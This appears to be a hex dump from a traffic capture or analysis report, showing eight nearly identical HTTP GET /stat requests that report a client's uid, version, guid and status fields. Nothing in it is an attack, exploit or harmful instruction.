0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314139 33323926 73746174 70617373   01A9329&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314141 36464626 73746174 70617373   01AA6FF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314142 41423626 73746174 70617373   01ABAB6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314143 45364426 73746174 70617373   01ACE6D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314145 32313426 73746174 70617373   01AE214&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314146 35414326 73746174 70617373   01AF5AC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314230 39353326 73746174 70617373   01B0953&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314231 43464126 73746174 70617373   01B1CFA&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..


Strings